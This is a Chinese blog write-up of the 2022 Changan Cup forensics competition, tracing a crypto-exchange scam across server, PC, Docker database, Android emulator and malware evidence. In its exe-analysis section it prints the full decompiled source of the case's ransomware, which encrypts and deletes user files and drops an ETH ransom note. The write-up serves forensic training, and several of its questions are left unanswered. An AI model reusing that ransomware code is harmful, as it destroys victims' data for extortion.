2022第四届长安杯

背景:

某地警方接到受害人报案称其在某虚拟币交易网站遭遇诈骗,该网站号称使用”USTD币“购买所谓的"HT币”,受害人充值后不但“HT币”无法提现、交易,而且手机还被恶意软件锁定勒索。警方根据受害人提供的虚拟币交易网站调取了对应的服务器镜像并对案件展开侦查。

检材1:

根据报案人提供的网站域名和IP,警方调取了对应的服务器镜像“检材1”,分析掌握的检材回答下列问题

1.检材1的SHA256值为

计算出希哈值:9E48BB2CAE5C1D93BAF572E3646D2ECD26080B70413DC7DC4131F88289F49E34

2.分析检材1,搭建该服务器的技术员IP地址是多少?用该地址解压检材2

从登录日志来看,首先是把检材1仿真出来然后查看最近的登录日志

last | less

登录的ip是172.16.80.100
还有一个是使用证据分析软件分析然后分析–>linux基本信息–>登录日志
从里面的摘要里面看到登录的ip是172.16.80.100

Linux日志解析里面也有

3.检材1中,操作系统发行版本号为

A、CentOS 7.5.1804
B、centos7.6.1810
C、CentOS7.9.2009
D、CentOS 8.0.1905

直接搜索命令

cat /etc/redhat-release

4.检材1系统中,网卡绑定的静态IP地址为
 ifconfig

172.16.80.133

 或者

cat /etc/sysconfig/network-scripts/ifcfg-ens33 

在这里发现这个服务器起的是静态IP,且是172网段的,我在等待发解压密码的时候已经把所有题目看过了,是一个java站,没怎么遇到过,可能会有点麻烦,IP什么配置起来可能不方便,所以这里不选择把static修改成dhcp的方式,而是选择使用修改虚拟网络编辑器的方式来配置,直接配置虚拟机的网段,使服务器的IP落在虚拟网络编辑器配置的虚拟网段内,来实现远程工具的连接。

先配置子网,再配置dhcp范围

点击确定即生效,xshell即可连接

5.检材1中,网站jar包所存放的目录是(答案为绝对路径,如“/home/honglian/”)

分析–>Linux基本信息–>历史命令
分析历史命令可以得知网站的jar包在/web/app里面

或者一是可以看历史命令,二是搜索,使用命令fina / -name "*.jar",查找所有以jar结尾的文件可以清晰的看到网站运行都是在/web/app这个目录下的

查看一下该目录

里面共有5个jar包和2个tar包及tar包解压出来的文件夹

本题答案找到了但是对于整个服务器的重构,本题的使命还没有结束

6.检材1中,监听7000端口的进程对应文件名为
最简单方法:

7000端口的文件名。在历史命令中,可以看到使用了一个 sh start_web.sh 的脚本,后来通过rm的命令给删掉了,所以需要过滤历史命令。思路一是找到所有jar包,查看配置文件的启动端口即可,如果没有则查看所有前端vue的config,看是否启动在7000端口。正确答案为 cloud.jar

7.检材1中,网站管理后台页面对应的网络端口为(答案填写阿拉伯数字,如“100”)

9090

检材二中有相应的后台管理记录

8 .检材1中,网站前台页面里给出的APK的下载地址是

从文件里面发现了一千多张图片文件,直接搜索app的文件名,有若干个二维码,其中就有一个叫app_andraio.png的二维码,怀疑这就是apk下载二维码,但是没有找出网址
用手机扫码之后可以知道网址是https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
另外还可以把二维码down下来,然后从cyberchef解密一下

https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1
 

9 .检材1中,网站管理后台页面调用的用户表(admin)里的密码字段加密方式为?

A. sha1
B. sha256
C. md5
D. bcrypt

思路一是直接看配置文件,看到system配置了md5加密,可以看到数据库的ip和密码。

思路二是jar包分析,全局搜索查看是否包含 md5

思路三:我们之前把管理后台搭建起来了,发送请求,发现请求路径如下,因此我们可以去找后端对应的登录路由,也可以找到

对admin-api.jar进行逆向分析,我们在什么都不知道的情况下,有几个思路:一个是先从数据库里面来看,但是要推进到第三个检材之后才能看到这个库,推进到这个库,看到数据库是32位后搜一下md5,看有多少个调用了md5这个值,所以在这可以进行一个search的操作
在这里可以看到对md5key的加密处理,这种办法是在知道关键词之后。
但是在分析过程中就能直接找到好几个题目的答案,包括密码字段的加密方式为md5

10. 分析检材1,网站管理后台登录密码加密算法中所使用的盐值是

逆向分析得出或者在admin-api.jar的配置文件application.properties末尾找到

XehGyeyrVgOV4P8Uf70REVpIw3iVNwNs

检材2

已知登录密码为 172.16.80.100,解压。首先打开镜像 检材2.E01 并分析

11. 检材2中,windows账户Web King的登录密码是

方法一:在火眼证据分析的基本信息里

方法二:火眼仿真

12. 检材2中,除检材1以外,还远程连接过哪个IP地址?并用该地址解压检材3

在Xshell的历史命令记录里面,在ssh的历史命令输入里面都能找到172.16.80.128

还可以查看/Users/Web King/Documents/NetSarang Computer/7/Xshell/Sessions目录

13.检材2中,powershell中输入的最后一条命令是

注意,是powershell 的最后一条命令,而不是系统ssh的历史输入命令

方法一:仿真后打开powershell,按方向键上

方法二:查看powershell历史命令文件

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

14.检材2中,下载的涉案网站源代码文件名为

方法一:在Chrome浏览器的下载历史记录当中有对应三个zip包,以及对应的下载来源。我们之前在检材一中/web/app/admin/web/app/web下分别有一个README.md文件,里面对应着github项目下的README.md,通过比对项目https://github.com/sengeiou/ZTuoExchange_framework,可以定位文件就是 ZTuoExchange_framework-master.zip。

方法二:结合浏览器访问记录里的网站名称判断

在Google浏览器的下载记录里面也有

ZTuoExchange_framework-master.zip

15.检材2中,网站管理后台root账号的密码为

方法一:火眼证据分析,Chrome保存的密码

方法二:仿真后,Chrome查看自动填充,填【11题】的登录密码就能看了

16.检材2中,技术员使用的WSL子系统发行版本是(答案格式如下:windows 10.1)

方法一:在powershell里,wsl -l -v查看安装在 Windows 计算机上的 Linux 发行版列表

方法二:在【开始】菜单里看到两个子系统,但其中一个要安装(22.04.1),另一个可以直接启动(22.04.5),所以使用的是22.04.5版本。

方法三:也可以直接找到保存子系统的根目录,Windows 下的 wsl 子系统默认统一保存在目录\Users\[user]\AppData\Local\Packages。可以看到两个文件夹的大小和文件数量完全不在一个数量级,使用的哪个子系统很容易知道

17.检材2中,运行的数据库服务版本号是(答案格式如下:10.1)

方法一:火眼证据分析,MySQL解析

b1的版本号不同,但b1是检材3数据库的备份不是检材2的

方法二:进入wsl,mysql --version查看版本

其实这个实际上问的是 子系统内 数据库的版本号

可以直接进入子系统,mysql -V,但是他提示我不能运行,所以find / -name mysql找到 mysql,-V

18.上述数据库debian-sys-maint用户的初始密码是

ZdQfi7vaXjHZs75M

百度了一下数据库debian-sys-maint用户的初始密码存储在/etc/mysql/debian.cnf中

19. 检材3服务器root账号的密码是

方法一:wsl的history中有ssh连接检材3的记录

方法二:在火眼证据分析的系统SSH里也能看到

检材3

20.检材3中,监听33050端口的程序名(program name)为

首先把docker打开

systemctl start docker

继续,查看socket情况

netstat -napt

docker-proxy

21.[多选题] 除MySQL外,该网站还依赖以下哪种数据库

A. Postgresql
B. Redis
C. Oracle
D. MongoDB

方法一:历史记录

历史命令发现nohup了redis和mongo

方法二:配置文件

第9-10题对jar包的逆向分析中,我们从spring框架web应用程序的配置文件——**application.properties**文件中可以看到网站数据库依赖

同时还发现了172.16.80.128:33050的**jdbc配置信息**,也就是它docker中MySQL的登录配置信息。

22.检材3中,MySQL数据库root账号的密码是

方法一:从反编译的admin-api.jar包中可以得到答案

image-20221122205128282

方法二:在docker-compose.yml配置文件中也能找到

image-20221101121231075

方法三:利用查看镜像的元数据

docker inspect 8e

23. 检材3中,MySQL数据库在容器内部的数据目录为

docker-compose的yml文件。从历史记录分析可以得出嫌疑人曾经多次查看这个文件

得知此文件在目录/data/mysql里面,进入查看得知

数据目录为/var/lib/mysql

方法二:进docker mysql内部 查看一下配置文件

方法三:文本搜索

进入docker容器内部,搜索一下常见mysql的证据文件

find / -name *.frm

24.涉案网站调用的MySQL数据库名为

好在22题中,对jar包分析中找到了数据库进行jdbc连接时用的URL,其格式为**子协议://服务器名或IP地址:端口号/数据库名?参数=参数值**。由此知道该jdbc连接的是172.16.80.128:33050的b1数据库。

25.勒索者在数据库中修改了多少个用户的手机号?

这个时候找到检材2的D盘,在D盘中可以找到数据库b1,还能看到start.sh 和 start_web.sh两个启动脚本

此处有个删改的数据库的记录

提到数据库用户操作,那自然是找MySQL日志,首先用show variables where Variable_name='general_log_file';命令找到MySQL日志路径

查看数据库日志,通过第23题的分析,容器外部数据库目录是/data/mysql/,进去后直接找到数据库日志/data/mysql/db/8eda4cb0b452.log

2022-10-19T03:20:39.001499Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13638991111' WHERE `id` = 9
2022-10-19T03:20:41.851525Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13282992222' WHERE `id` = 10
2022-10-19T03:20:44.184953Z	   13 Query	UPDATE `b1`.`member` SET `mobile_phone` = '13636993333' WHERE `id` = 11

26. 勒索者在数据库中删除的用户数量为

搜索关键词delete即可,计数28条,id=973到1000,大概浏览一下发现全是删除用户的,没有掺杂其他干扰项。

另外一种方法是直接对数据库b1进行推断

在检材2中的D盘下,我们找到了删掉的b1数据库文件。利用数据库分析工具直接对其分析

用工具打开数据库文件之后,发现了三个表与题目关联度比较大,一个是交易记录,第二一个是用户钱包,第三一个是用户表。比对分析发现用户表的数据量比用户钱包少了28个,初步怀疑是被删除了。

进一步分析发现id为973-1000的用户被删掉了

27.还原被破坏的数据库,分析除技术员以外,还有哪个IP地址登录过管理后台网站?用该地址解压检材4

检材3中的网站后台数据库b1都被删除了,检材2中有备份

对检材2中的b1数据库用弘连自带的工具直接进行数据库分析,admin_access_log表中只有172.16.80.100和172.16.80.197两个ip

检材1的登录ip是172.16.80.100,这个ip是技术员。那么172.16.80.197就是答案,这个ip应该是老板的ip

28.还原全部被删改数据,用户id为500的注册会员的HT币钱包地址为

用工具打开之后直接找到用户钱包的数据,然后找到了id=500的钱包地址

cee631121c2ec9232f3a2f028ad5c89b

29.还原全部被删改数据,共有多少名用户的会员等级为’LV3’

通过member_grade这个表了解到等级是三的用户的grade_code=3

30.还原全部被删改数据,哪些用户ID没有充值记录(使用 , 隔开)

31. 还原全部被删改数据,2022年10月17日总计产生多少笔交易记录?(答案填写阿拉伯数字,如“15”)

32. 还原全部被删改数据,该网站中充值的USDT总额为(答案填写阿拉伯数字,如“15”)

检材4

33. 嫌疑人使用的安卓模拟器软件名称是

解压出来是一个后缀是npbk的文件,百度一下是要用夜神模拟器打开,所以嫌疑人使用的是夜神模拟器。
 

34. 检材4中,“老板”的阿里云账号是

方法1:使用火眼对解压出的vmdk进行取证后,能识别到是安卓平台并启动相应的取证任务,在微信聊天记录里发现“老板”的阿里云账号为forensixtech1

方法2:使用火眼对解压出的vmdk进行取证,直接搜索阿里云,命中结果

35.检材4中安装的VPN工具的软件名称是

方法1:查看火眼分析应用列表

v2rayNG

方法2:夜神模拟器恢复备份就可以看到桌面应用

36.vpn工具中记录的节点ip?

37.检材4中,录屏软件安装时间为

查看火眼分析应用列表,可查看到包名为“luping”(录屏)的app,安装时间为2022/10/19 10:50:27

或者从下载文件夹中找到了录屏软件下载时间

38.上述录屏软件中名为“s_20221019105129”的录像,在模拟器存储中对应的原始文件名为

0c2f5dd4a9bc6f34873fb3c0ee9b762b98e8c46626410be7191

录屏软件相关数据位于分区4/data/com.jiadi.luping中,在databases中的record.db数据库记录了与s_20221019105129录像相关的信息

39.上述录屏软件登录的手机号是

在数据库文件夹里找到了record.dbrecord.db-wal,用db browser打开查看在moblie里面可以找到软件登录的手机号是18645091802

在夜神模拟器种直接恢复手机,然后打开录屏软件,点注销账号能直接看到手机号

40.检材4中,发送勒索邮件的邮箱地址为

skterran@163.com

exe分析

41.分析加密程序,编译该加密程序使用的语言是

根据在QQ邮箱中的记录,在附件中找到数据下载地址.docx_encrypted文件,在文件目录中对encrypt关键词进行搜索,可以发现加解密程序和加密文件都在检材二的D盘根目录

一眼pyinstaller打包程序

42.分析加密程序,它会加密哪些扩展名的文件?

jpg
png
zip
mp4
rar
7z
xls
docx
txt
mp3

常规的python逆向

方法1:在线反编译:pyc反编译 - 爱资料工具

方法2:PyInstaller打包的程序可以用Github上的开源工具pyinstxtrator来解包,下载后为方便起见,将pyinstxtractor.py复制到与exe在同一目录下,执行命令python3 pyinstxtractor.py encrypt_file.exe,在执行上述命令后生成的encrypt_file.exe_extracted目录下,找到与原 exe 名相同的 pyc 文件,即encrypt_file_1.pyc文件,用 uncompyle6 反编译

其中有一行“if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:”直接指出是对txt.jpg.docx.xls的文件进行加密

43.分析加密程序,是通过什么算法对文件进行加密的?

异或

# uncompyle6 version 3.5.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.2 (default, Dec 29 2018, 06:19:36) 
# [GCC 7.3.0]
# Embedded file name: encrypt_file_1.py
import time
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
import os
pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'
msg = "SOMETHING WENT WRONG,PLEASE CONTACT YOUR SYSTEM ADMINISTRATOR!\nHe can help you to understand whats happened.\nIf he can't help you,contact us via email:\naa1028@forensix.cn\nale@forensix.cn\nHURRY UP!WE HAVE ANTIDOTE FOR YOUR FILES!DISCOUNT 20%FOR CLIENTS,WHO CONTACT US IN THE SAME DAY!\nYou can attach 2 files (text or picture)to check our honest intentions,we will heal them and send\nback.\nPlease pay 0.618 ETH\nThe wallet address:0xef9edf6cdacb7d925aee0f9bd607b544c5758850\n************************************\n"

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)


print('加密程序V1.0')
print('文件正在加密中~~~~~~~~~~~~~~~~~~\n')

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != 'encrypt_file.py':
                if filename != 'decrypt_file.py':
                    if '_encrypted' not in filename:
                        ExtensionPath = os.path.splitext(filename)[(-1)]
                        if '.txt' == ExtensionPath or '.jpg' == ExtensionPath or '.xls' == ExtensionPath or '.docx' == ExtensionPath:
                            time.sleep(3)
                            data_file = os.path.join(filepath, filename)
                            rsakey = RSA.import_key(pubkey)
                            cipher = Cipher_pkcs1_v1_5.new(rsakey)
                            xor_key = os.urandom(16)
                            xor_obj = XORCBC(xor_key)
                            outf = open(data_file + '_encrypted', 'wb')
                            encrypted_xor_key = cipher.encrypt(xor_key)
                            outf.write(encrypted_xor_key)
                            buffer_size = 4096
                            with open(data_file, 'rb') as (f):
                                while True:
                                    data = f.read(buffer_size)
                                    if not data:
                                        break
                                    outf.write(xor_obj.encrypt(data))

                            outf.close()
                            os.remove(data_file)


run_finall()

def redme():
    try:
        dir = os.path.join(os.path.expanduser('~'), 'Desktop')
        print(dir)
        with open(dir + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)
    except:
        dir1 = os.getcwd()
        print(dir1)
        with open(dir1 + '/!READ_ME.txt', 'w') as (ff):
            ff.write(msg)


print('\n加密完成~~~~~~~~~~~~~~~~~~')
os.system('pause')

run_finall函数中最后调用了XORCBC类的encrypt方法进行了加密

文件内容data与key进行异或,类名是XORCBC,也可以看出

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

44. 分析加密程序,其使用的非对称加密方式公钥后5位为?

同样可以在代码中发现publickey如下

u+w==

pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n'

45.被加密文档中,FLAG1的值是

以同样的方法对decrypt_file.exe进行解包与反编译,发现解密需要的密码明文写在了程序中

数据下载地址.docx_encrypted文件进行解密

密码是4008003721,解密成功,得到FLAG1:TREFWGFS 

apk分析

46. 恶意APK程序的包名为

首先下载这个软件(在前面的网址下载)用雷电APP智能分析或者jadx查看包名

47.APK调用的权限包括

读取SD卡内容
使用相机
修改系统设置
修改删除SD卡内容
安装APK

直接分析得到

48.解锁第一关所使用的FLAG2值为

这里发现加壳了

使用雷电APP智能分析脱壳或者BlackDex,然后进行jadx反编译

直接搜索flag,找到flag2

49.解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123”)

刚才已经找到了程序的入口函数,找到了mainactivity,然后看看flag2周围的函数

然后有一堆代码,好多个O,然后最终确定OooO0oo是要比对的值,看一下那个地方对这个值进行了定义

找到了flag3的加密后的值,加密有两层,先放弃了

50.解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值

电脑出了点问题,暂时不做这题了

参考博客:

2022长安杯wp_2022长安杯电子数据检材-CSDN博客

2022第四届长安杯电子取证竞赛 服务器赛时思路&题解 Zodi4c_2022长安杯电子数据检材-CSDN博客

2022 长安杯 writeup_2022长安杯writeup-CSDN博客

2022第四届长安杯复盘_长安杯2022年检材3密码-CSDN博客

2022长安杯 - XDforensics-Wiki (xidian.edu.cn)

  • 16
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值